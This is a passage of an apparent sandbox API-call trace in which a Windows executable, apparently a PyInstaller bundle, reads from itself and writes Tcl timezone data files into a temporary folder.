lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.566] GetFileType (hFile=0x10c) returned 0x1 [0038.566] htonl (hostlong=0x20ac5800) returned 0x58ac20 [0038.566] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5c20, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.566] htonl (hostlong=0xc4000000) returned 0xc4 [0038.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc4) returned 0x550600 [0038.566] htonl (hostlong=0xc4000000) returned 0xc4 [0038.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.566] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.566] htonl (hostlong=0x4b010000) returned 0x14b [0038.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14b) returned 0x5506d0 [0038.566] htonl (hostlong=0xc4000000) returned 0xc4 [0038.566] htonl (hostlong=0x4b010000) returned 0x14b [0038.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.566] CloseHandle (hObject=0x10c) returned 1 [0038.566] GetLastError () returned 0x0 [0038.566] SetLastError (dwErrCode=0x0) [0038.566] GetLastError () returned 0x0 [0038.566] SetLastError (dwErrCode=0x0) [0038.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.567] GetFileType (hFile=0x10c) returned 0x1 [0038.567] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.567] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.567] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.567] CloseHandle (hObject=0x10c) returned 1 [0038.567] GetLastError () returned 0x0 [0038.567] SetLastError (dwErrCode=0x0) [0038.567] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.567] GetFileType (hFile=0x10c) returned 0x1 [0038.567] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.567] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.567] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.567] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.568] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.568] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.568] CloseHandle (hObject=0x10c) returned 1 [0038.568] GetLastError () returned 0x0 [0038.568] SetLastError (dwErrCode=0x0) [0038.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.568] GetFileType (hFile=0x10c) returned 0x1 [0038.568] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.568] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.568] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.568] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.568] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.568] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.568] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.568] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.568] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.568] CloseHandle (hObject=0x10c) returned 1 [0038.568] GetLastError () returned 0x0 [0038.568] SetLastError (dwErrCode=0x0) [0038.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Blanc-Sablon") returned 77 [0038.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Blanc-Sablon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\blanc-sablon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.569] GetLastError () returned 0x2 [0038.569] SetLastError (dwErrCode=0x2) [0038.569] GetLastError () returned 0x2 [0038.569] SetLastError (dwErrCode=0x2) [0038.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Blanc-Sablon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Blanc-Sablon", lpFilePart=0x0) returned 0x4c [0038.569] GetLastError () returned 0x2 [0038.569] SetLastError (dwErrCode=0x2) [0038.569] GetLastError () returned 0x2 [0038.569] SetLastError (dwErrCode=0x2) [0038.569] GetLastError () returned 0x2 [0038.569] SetLastError (dwErrCode=0x2) [0038.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Blanc-Sablon") returned 77 [0038.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Blanc-Sablon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\blanc-sablon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.570] GetFileType (hFile=0x10c) returned 0x1 [0038.570] htonl (hostlong=0x4b010000) returned 0x14b [0038.570] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.570] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x14b, lpOverlapped=0x0) returned 1 [0038.571] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.571] CloseHandle (hObject=0x10c) returned 1 [0038.571] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506d0 | out: hHeap=0x530000) returned 1 [0038.571] htonl (hostlong=0x40000000) returned 0x40 [0038.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.572] GetFileType (hFile=0x10c) returned 0x1 [0038.572] htonl (hostlong=0xe4ac5800) returned 0x58ace4 [0038.572] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5ce4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.572] htonl (hostlong=0x51010000) returned 0x151 [0038.572] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x151) returned 0x550600 [0038.572] htonl (hostlong=0x51010000) returned 0x151 [0038.572] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.572] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.572] htonl (hostlong=0x97040000) returned 0x497 [0038.572] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x497) returned 0x550760 [0038.572] htonl (hostlong=0x51010000) returned 0x151 [0038.572] htonl (hostlong=0x97040000) returned 0x497 [0038.572] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.572] CloseHandle (hObject=0x10c) returned 1 [0038.572] GetLastError () returned 0x0 [0038.572] SetLastError (dwErrCode=0x0) [0038.572] GetLastError () returned 0x0 [0038.572] SetLastError (dwErrCode=0x0) [0038.572] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.573] GetFileType (hFile=0x10c) returned 0x1 [0038.573] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.573] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.573] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.573] CloseHandle (hObject=0x10c) returned 1 [0038.573] GetLastError () returned 0x0 [0038.573] SetLastError (dwErrCode=0x0) [0038.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.573] GetFileType (hFile=0x10c) returned 0x1 [0038.573] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.573] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.573] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.573] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.574] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.574] CloseHandle (hObject=0x10c) returned 1 [0038.574] GetLastError () returned 0x0 [0038.574] SetLastError (dwErrCode=0x0) [0038.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.574] GetFileType (hFile=0x10c) returned 0x1 [0038.574] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.574] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.574] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.574] CloseHandle (hObject=0x10c) returned 1 [0038.574] GetLastError () returned 0x0 [0038.574] SetLastError (dwErrCode=0x0) [0038.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boa_Vista") returned 74 [0038.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boa_Vista" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\boa_vista"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.574] GetLastError () returned 0x2 [0038.574] SetLastError (dwErrCode=0x2) [0038.574] GetLastError () returned 0x2 [0038.574] SetLastError (dwErrCode=0x2) [0038.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boa_Vista", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boa_Vista", lpFilePart=0x0) returned 0x49 [0038.575] GetLastError () returned 0x2 [0038.575] SetLastError (dwErrCode=0x2) [0038.575] GetLastError () returned 0x2 [0038.575] SetLastError (dwErrCode=0x2) [0038.575] GetLastError () returned 0x2 [0038.575] SetLastError (dwErrCode=0x2) [0038.575] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boa_Vista") returned 74 [0038.575] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boa_Vista" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\boa_vista"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.575] GetFileType (hFile=0x10c) returned 0x1 [0038.575] htonl (hostlong=0x97040000) returned 0x497 [0038.575] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.575] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x497, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x497, lpOverlapped=0x0) returned 1 [0038.577] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.577] CloseHandle (hObject=0x10c) returned 1 [0038.578] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550760 | out: hHeap=0x530000) returned 1 [0038.578] htonl (hostlong=0x30000000) returned 0x30 [0038.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.578] GetFileType (hFile=0x10c) returned 0x1 [0038.578] htonl (hostlong=0x35ae5800) returned 0x58ae35 [0038.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5e35, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.578] htonl (hostlong=0xad000000) returned 0xad [0038.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xad) returned 0x55cfe0 [0038.578] htonl (hostlong=0xad000000) returned 0xad [0038.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.578] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, 